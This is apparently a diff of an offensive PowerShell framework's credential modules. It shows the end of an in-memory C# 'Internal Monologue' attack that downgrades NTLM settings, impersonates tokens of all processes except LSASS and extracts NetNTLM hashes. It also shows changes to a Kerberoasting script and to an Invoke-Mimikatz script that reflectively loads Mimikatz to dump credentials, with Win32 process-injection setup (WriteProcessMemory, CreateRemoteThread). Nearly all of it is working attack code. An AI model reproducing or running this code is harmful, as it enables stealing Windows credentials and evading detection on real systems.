427 Console.WriteLine("Challenge - Specifies the NTLM challenge to be used. An 8-byte long value in ascii-hex representation. Optional. Defult is 1122334455667788.");
428 Console.WriteLine();
429 }
430
431 public static void Main(string[] args)
432 {
433 Dictionary<string, string> argDict = ParseArgs(args);
434 //Set defaults
435 bool impersonate = true, downgrade = true, restore = true, verbose = false;
436 string challenge = "1122334455667788";
437
438 if (args.Length > 0 && argDict.Count == 0)
439 {
440 PrintHelp();
441 return;
442 }
443 else if (args.Length == 0)
444 {
445 Console.Error.WriteLine("Running with default settings. Type -Help for more information.\n");
446
447 }
448
449 if (argDict.ContainsKey("impersonate"))
450 {
451 if (bool.TryParse(argDict["impersonate"], out impersonate) == false)
452 {
453 PrintError("Impersonate must be a boolean value (True/False)");
454 return;
455 }
456 }
457 if (argDict.ContainsKey("downgrade"))
458 {
459 if (bool.TryParse(argDict["downgrade"], out downgrade) == false)
460 {
461 PrintError("Downgrade must be a boolean value (True/False)");
462 return;
463 }
464 }
465 if (argDict.ContainsKey("restore"))
466 {
467 if (bool.TryParse(argDict["restore"], out restore) == false)
468 {
469 PrintError("Restore must be a boolean value (True/False)");
470 return;
471 }
472 }
473 if (argDict.ContainsKey("verbose"))
474 {
475 if (bool.TryParse(argDict["verbose"], out verbose) == false)
476 {
477 PrintError("Verbose must be a boolean value (True/False)");
478 return;
479 }
480 }
481 if (argDict.ContainsKey("challenge"))
482 {
483 challenge = argDict["challenge"].ToUpper();
484 if (Regex.IsMatch(challenge, @"^[0-9A-F]{16}$") == false)
485 {
486 PrintError("Challenge must be a 8-byte long value in asciihex representation. (e.g. 1122334455667788)");
487 return;
488 }
489 }
490
491
492 //Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated
493 if (IsElevated())
494 {
495 if (verbose == true) Console.WriteLine("Running elevated");
496 object oldValue_LMCompatibilityLevel = null;
497 object oldValue_NtlmMinClientSec = null;
498 object oldValue_RestrictSendingNTLMTraffic = null;
499 if (downgrade == true)
500 {
501 if (verbose == true) Console.WriteLine("Performing NTLM Downgrade");
502 //Perform an Extended NetNTLM Downgrade and store the current values to restore them later
503 ExtendedNTLMDowngrade(out oldValue_LMCompatibilityLevel, out oldValue_NtlmMinClientSec, out oldValue_RestrictSendingNTLMTraffic);
504 }
505
506 if (impersonate == true)
507 {
508 if (verbose == true) Console.WriteLine("Starting impersonation");
509 foreach (Process process in Process.GetProcesses())
510 {
511 if (process.ProcessName.Contains("lsass") == false) // Do not touch LSASS
512 {
513 HandleProcess(process, challenge, verbose);
514 foreach (ProcessThread thread in process.Threads)
515 {
516 HandleThread(thread, challenge, verbose);
517 }
518 }
519 }
520 }
521 else
522 {
523 if (verbose == true) Console.WriteLine("Performing attack on current user only (no impersonation)");
524 Console.WriteLine(InternalMonologueForCurrentUser(challenge));
525 }
526
527 if (downgrade == true && restore == true)
528 {
529 if (verbose == true) Console.WriteLine("Restoring NTLM values");
530 //Undo changes made in the Extended NetNTLM Downgrade
531 NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
532 }
533 }
534 else
535 {
536 //If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user
537 if (verbose == true) Console.WriteLine("Not elevated. Performing attack with current NTLM settings on current user");
538 Console.WriteLine(InternalMonologueForCurrentUser(challenge));
539 }
540 }
541
542 //This function performs an Internal Monologue Attack in the context of the current user and returns the NetNTLM response for the challenge 0x1122334455667788
543 private static string InternalMonologueForCurrentUser(string challenge)
544 {
545 SecBufferDesc ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
546
547 SECURITY_HANDLE _hOutboundCred;
548 _hOutboundCred.LowPart = _hOutboundCred.HighPart = IntPtr.Zero;
549 SECURITY_INTEGER ClientLifeTime;
550 ClientLifeTime.LowPart = 0;
551 ClientLifeTime.HighPart = 0;
552 SECURITY_HANDLE _hClientContext;
553 uint ContextAttributes = 0;
554
555 // Acquire credentials handle for current user
556 AcquireCredentialsHandle(
557 WindowsIdentity.GetCurrent().Name,
558 "NTLM",
559 2,
560 IntPtr.Zero,
561 IntPtr.Zero,
562 0,
563 IntPtr.Zero,
564 ref _hOutboundCred,
565 ref ClientLifeTime
566 );
567
568 // Get a type-1 message from NTLM SSP
569 InitializeSecurityContext(
570 ref _hOutboundCred,
571 IntPtr.Zero,
572 WindowsIdentity.GetCurrent().Name,
573 0x00000800,
574 0,
575 0x10,
576 IntPtr.Zero,
577 0,
578 out _hClientContext,
579 out ClientToken,
580 out ContextAttributes,
581 out ClientLifeTime
582 );
583 ClientToken.Dispose();
584
585 ClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);
586
587 // Custom made type-2 message with the specified challenge
588 byte[] challengeBytes = StringToByteArray(challenge);
589 SecBufferDesc ServerToken = new SecBufferDesc(new byte[] { 78, 84, 76, 77, 83, 83, 80, 0, 2, 0, 0, 0, 0, 0, 0, 0, 40, 0, 0, 0, 1, 0x82, 0, 0, challengeBytes[0], challengeBytes[1], challengeBytes[2], challengeBytes[3], challengeBytes[4], challengeBytes[5], challengeBytes[6], challengeBytes[7], 0, 0, 0, 0, 0, 0, 0 });
590 InitializeSecurityContext(
591 ref _hOutboundCred,
592 ref _hClientContext,
593 WindowsIdentity.GetCurrent().Name,
594 0x00000800,
595 0,
596 0x10,
597 ref ServerToken,
598 0,
599 out _hClientContext,
600 out ClientToken,
601 out ContextAttributes,
602 out ClientLifeTime
603 );
604 byte[] result = ClientToken.GetSecBufferByteArray();
605
606 ClientToken.Dispose();
607 ServerToken.Dispose();
608
609 //Extract the NetNTLM response from a type-3 message and return it
610 return ParseNTResponse(result, challenge);
611 }
612
613 //This function parses the NetNTLM response from a type-3 message
614 private static string ParseNTResponse(byte[] message, string challenge)
615 {
616 ushort lm_resp_len = BitConverter.ToUInt16(message, 12);
617 uint lm_resp_off = BitConverter.ToUInt32(message, 16);
618 ushort nt_resp_len = BitConverter.ToUInt16(message, 20);
619 uint nt_resp_off = BitConverter.ToUInt32(message, 24);
620 ushort domain_len = BitConverter.ToUInt16(message, 28);
621 uint domain_off = BitConverter.ToUInt32(message, 32);
622 ushort user_len = BitConverter.ToUInt16(message, 36);
623 uint user_off = BitConverter.ToUInt32(message, 40);
624 byte[] lm_resp = new byte[lm_resp_len];
625 byte[] nt_resp = new byte[nt_resp_len];
626 byte[] domain = new byte[domain_len];
627 byte[] user = new byte[user_len];
628 Array.Copy(message, lm_resp_off, lm_resp, 0, lm_resp_len);
629 Array.Copy(message, nt_resp_off, nt_resp, 0, nt_resp_len);
630 Array.Copy(message, domain_off, domain, 0, domain_len);
631 Array.Copy(message, user_off, user, 0, user_len);
632
633 string result = null;
634 if (nt_resp_len == 24)
635 {
636 result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + ByteArrayToString(lm_resp) + ":" + ByteArrayToString(nt_resp) + ":" + challenge;
637 }
638 else if (nt_resp_len > 24)
639 {
640 result = ConvertHex(ByteArrayToString(user)) + "::" + ConvertHex(ByteArrayToString(domain)) + ":" + challenge + ":" + ByteArrayToString(nt_resp).Substring(0,32) + ":" + ByteArrayToString(nt_resp).Substring(32);
641 }
642
643 return result;
644 }
645
646 //The following function is taken from https://stackoverflow.com/questions/311165/how-do-you-convert-a-byte-array-to-a-hexadecimal-string-and-vice-versa
647 private static string ByteArrayToString(byte[] ba)
648 {
649 StringBuilder hex = new StringBuilder(ba.Length * 2);
650 foreach (byte b in ba)
651 hex.AppendFormat("{0:x2}", b);
652 return hex.ToString();
653 }
654
655 //This function is taken from https://stackoverflow.com/questions/3600322/check-if-the-current-user-is-administrator
656 private static bool IsElevated()
657 {
658 return (new WindowsPrincipal(WindowsIdentity.GetCurrent())).IsInRole(WindowsBuiltInRole.Administrator);
659 }
660
661 //This function is taken from https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array
662 public static byte[] StringToByteArray(string hex)
663 {
664 if (hex.Length % 2 == 1)
665 return null;
666
667 byte[] arr = new byte[hex.Length >> 1];
668
669 for (int i = 0; i < hex.Length >> 1; ++i)
670 {
671 arr[i] = (byte)((GetHexVal(hex[i << 1]) << 4) + (GetHexVal(hex[(i << 1) + 1])));
672 }
673
674 return arr;
675 }
676
677 //This function is taken from https://stackoverflow.com/questions/321370/how-can-i-convert-a-hex-string-to-a-byte-array
678 public static int GetHexVal(char hex)
679 {
680 int val = (int)hex;
681 return val - (val < 58 ? 48 : 55);
682 }
683
684 //This function is taken from https://stackoverflow.com/questions/5613279/c-sharp-hex-to-ascii
685 public static string ConvertHex(String hexString)
686 {
687 string ascii = string.Empty;
688
689 for (int i = 0; i < hexString.Length; i += 2)
690 {
691 String hs = string.Empty;
692
693 hs = hexString.Substring(i, 2);
694 if (hs == "00")
695 continue;
696 uint decval = System.Convert.ToUInt32(hs, 16);
697 char character = System.Convert.ToChar(decval);
698 ascii += character;
699
700 }
701
702 return ascii;
703 }
704 }
705
706 struct SecBuffer : IDisposable
707 {
708 public int cbBuffer;
709 public int BufferType;
710 public IntPtr pvBuffer;
711
712 public SecBuffer(int bufferSize)
713 {
714 cbBuffer = bufferSize;
715 BufferType = 2;
716 pvBuffer = Marshal.AllocHGlobal(bufferSize);
717 }
718
719 public SecBuffer(byte[] secBufferBytes)
720 {
721 cbBuffer = secBufferBytes.Length;
722 BufferType = 2;
723 pvBuffer = Marshal.AllocHGlobal(cbBuffer);
724 Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
725 }
726
727 public SecBuffer(byte[] secBufferBytes, int bufferType)
728 {
729 cbBuffer = secBufferBytes.Length;
730 BufferType = (int)bufferType;
731 pvBuffer = Marshal.AllocHGlobal(cbBuffer);
732 Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
733 }
734
735 public void Dispose()
736 {
737 if (pvBuffer != IntPtr.Zero)
738 {
739 Marshal.FreeHGlobal(pvBuffer);
740 pvBuffer = IntPtr.Zero;
741 }
742 }
743 }
744
745 struct SecBufferDesc : IDisposable
746 {
747 public int ulVersion;
748 public int cBuffers;
749 public IntPtr pBuffers;
750
751 public SecBufferDesc(int bufferSize)
752 {
753 ulVersion = 0;
754 cBuffers = 1;
755 SecBuffer ThisSecBuffer = new SecBuffer(bufferSize);
756 pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
757 Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
758 }
759
760 public SecBufferDesc(byte[] secBufferBytes)
761 {
762 ulVersion = 0;
763 cBuffers = 1;
764 SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes);
765 pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
766 Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
767 }
768
769 public void Dispose()
770 {
771 if (pBuffers != IntPtr.Zero)
772 {
773 if (cBuffers == 1)
774 {
775 SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
776 ThisSecBuffer.Dispose();
777 }
778 else
779 {
780 for (int Index = 0; Index < cBuffers; Index++)
781 {
782 int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
783 IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
784 Marshal.FreeHGlobal(SecBufferpvBuffer);
785 }
786 }
787
788 Marshal.FreeHGlobal(pBuffers);
789 pBuffers = IntPtr.Zero;
790 }
791 }
792
793 public byte[] GetSecBufferByteArray()
794 {
795 byte[] Buffer = null;
796
797 if (pBuffers == IntPtr.Zero)
798 {
799 throw new InvalidOperationException("Object has already been disposed!!!");
800 }
801
802 if (cBuffers == 1)
803 {
804 SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
805
806 if (ThisSecBuffer.cbBuffer > 0)
807 {
808 Buffer = new byte[ThisSecBuffer.cbBuffer];
809 Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer);
810 }
811 }
812 else
813 {
814 int BytesToAllocate = 0;
815
816 for (int Index = 0; Index < cBuffers; Index++)
817 {
818 //calculate the total number of bytes we need to copy...
819 int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
820 BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset);
821 }
822
823 Buffer = new byte[BytesToAllocate];
824
825 for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++)
826 {
827 //Now iterate over the individual buffers and put them together into a byte array...
828 int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer));
829 int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset);
830 IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int)));
831 Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy);
832 BufferIndex += BytesToCopy;
833 }
834 }
835
836 return (Buffer);
837 }
838 }
839
840 struct SECURITY_INTEGER
841 {
842 public uint LowPart;
843 public int HighPart;
844 };
845
846 struct SECURITY_HANDLE
847 {
848 public IntPtr LowPart;
849 public IntPtr HighPart;
850
851 };
852
853 struct SECURITY_ATTRIBUTES
854 {
855 public int nLength;
856 public IntPtr lpSecurityDescriptor;
857 public bool bInheritHandle;
858 }
859
860 enum SECURITY_IMPERSONATION_LEVEL
861 {
862 SecurityAnonymous,
863 SecurityIdentification,
864 SecurityImpersonation,
865 SecurityDelegation
866 }
867 }
868
869 "@
870
871 $inmem=New-Object -TypeName System.CodeDom.Compiler.CompilerParameters
872 $inmem.GenerateInMemory=1
873 $inmem.ReferencedAssemblies.AddRange($(@("System.dll", $([PSObject].Assembly.Location))))
874
875 Add-Type -TypeDefinition $Source -Language CSharp -CompilerParameters $inmem
876
877 # Setting a custom stdout to capture Console.WriteLine output
878 # https://stackoverflow.com/questions/33111014/redirecting-output-from-an-external-dll-in-powershell
879 $OldConsoleOut = [Console]::Out
880 $StringWriter = New-Object IO.StringWriter
881 [Console]::SetOut($StringWriter)
882
883 # Space needed in front of dictionary key name
884 [InternalMonologue.Program]::Main(@(" challenge",$Challenge," downgrade",$Downgrade," impersonate",$Impersonate," restore",$Restore," verbose",$v))
885
886 # Restore the regular STDOUT object
887 [Console]::SetOut($OldConsoleOut)
888 $Results = $StringWriter.ToString()
889 $Results
890 }
+5
-5
data/module_source/credentials/Invoke-Kerberoast.ps1 less more
863863 [Switch]
864864 $Raw
865865 )
866
866 <#
867867 DynamicParam {
868868 $UACValueNames = [Enum]::GetNames($UACEnum)
869869 # add in the negations
871871 # create new dynamic parameter
872872 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
873873 }
874
874 #>
875875 BEGIN {
876876 $SearcherArguments = @{}
877877 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
889889
890890 PROCESS {
891891 #bind dynamic parameter to a friendly variable
892 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
893 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
894 }
892 #if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
893 # New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
894 #}
895895
896896 if ($UserSearcher) {
897897 $IdentityFilter = ''
+315
-315
data/module_source/credentials/Invoke-Mimikatz.ps1 less more
22 <#
33 .SYNOPSIS
44
5 This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
6 dump credentials without ever writing the mimikatz binary to disk.
5 This script leverages Mimikatz 2.2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
6 dump credentials without ever writing the mimikatz binary to disk.
77 The script has a ComputerName parameter which allows it to be executed against multiple computers.
88
99 This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
1414 License: http://creativecommons.org/licenses/by/3.0/fr/
1515 Required Dependencies: Mimikatz (included)
1616 Optional Dependencies: None
17 Mimikatz version: 2.1 20161126 ()
17 Mimikatz version: 2.2.0 20190408 ()
1818
1919 .DESCRIPTION
2020
21 Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
21 Reflectively loads Mimikatz 2.2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any
2222 functionality provided with Mimikatz.
2323
2424 .PARAMETER DumpCreds
3636 .PARAMETER ComputerName
3737
3838 Optional, an array of computernames to run the script on.
39
39
4040 .EXAMPLE
4141
4242 Execute mimikatz on the local computer to dump certificates.
9494 [Parameter(Position = 1, Mandatory = $true)]
9595 [String]
9696 $PEBytes32,
97
97
9898 [Parameter(Position = 2, Mandatory = $false)]
9999 [String]
100100 $FuncReturnType,
101
101
102102 [Parameter(Position = 3, Mandatory = $false)]
103103 [Int32]
104104 $ProcId,
105
105
106106 [Parameter(Position = 4, Mandatory = $false)]
107107 [String]
108108 $ProcName,
111111 [String]
112112 $ExeArgs
113113 )
114
114
115115 ###################################
116116 ########## Win32 Stuff ##########
117117 ###################################
312312 $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null
313313 $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType()
314314 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64
315
315
316316 #Struct IMAGE_NT_HEADERS32
317317 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
318318 $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248)
355355 $e_res2Field.SetCustomAttribute($AttribBuilder)
356356
357357 $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null
358 $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
358 $IMAGE_DOS_HEADER = $TypeBuilder.CreateType()
359359 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER
360360
361361 #Struct IMAGE_SECTION_HEADER
414414 $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null
415415 $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType()
416416 $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY
417
417
418418 #Struct LUID
419419 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
420420 $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
422422 $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
423423 $LUID = $TypeBuilder.CreateType()
424424 $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID
425
425
426426 #Struct LUID_AND_ATTRIBUTES
427427 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
428428 $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
430430 $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
431431 $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
432432 $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES
433
433
434434 #Struct TOKEN_PRIVILEGES
435435 $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
436436 $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
445445 Function Get-Win32Constants
446446 {
447447 $Win32Constants = New-Object System.Object
448
448
449449 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000
450450 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000
451451 $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01
475475 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020
476476 $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2
477477 $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0
478
478
479479 return $Win32Constants
480480 }
481481
482482 Function Get-Win32Functions
483483 {
484484 $Win32Functions = New-Object System.Object
485
485
486486 $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
487487 $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
488488 $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
489489 $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc
490
490
491491 $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx
492492 $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr])
493493 $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
494494 $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx
495
495
496496 $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy
497497 $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr])
498498 $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate)
499499 $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy
500
500
501501 $memsetAddr = Get-ProcAddress msvcrt.dll memset
502502 $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
503503 $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
504504 $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
505
505
506506 $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
507507 $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
508508 $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)
509509 $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary
510
510
511511 $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
512512 $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
513513 $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)
514514 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress
515
515
516516 $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress
517517 $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr])
518518 $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate)
519519 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal
520
520
521521 $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
522522 $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool])
523523 $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)
524524 $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree
525
525
526526 $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx
527527 $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool])
528528 $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate)
529529 $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx
530
530
531531 $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
532532 $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
533533 $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate)
534534 $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect
535
535
536536 $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA
537537 $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr])
538538 $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate)
539539 $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle
540
540
541541 $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary
542542 $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool])
543543 $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate)
544544 $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary
545
545
546546 $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
547547 $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
548548 $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
549549 $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess
550
550
551551 $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
552552 $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
553553 $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
554554 $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject
555
555
556556 $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
557557 $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
558558 $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)
559559 $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory
560
560
561561 $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory
562562 $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool])
563563 $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate)
564564 $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory
565
565
566566 $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread
567567 $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
568568 $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)
569569 $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread
570
570
571571 $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread
572572 $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool])
573573 $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate)
574574 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread
575
575
576576 $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken
577577 $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
578578 $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
579579 $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken
580
580
581581 $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
582582 $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
583583 $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
584584 $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread
585
585
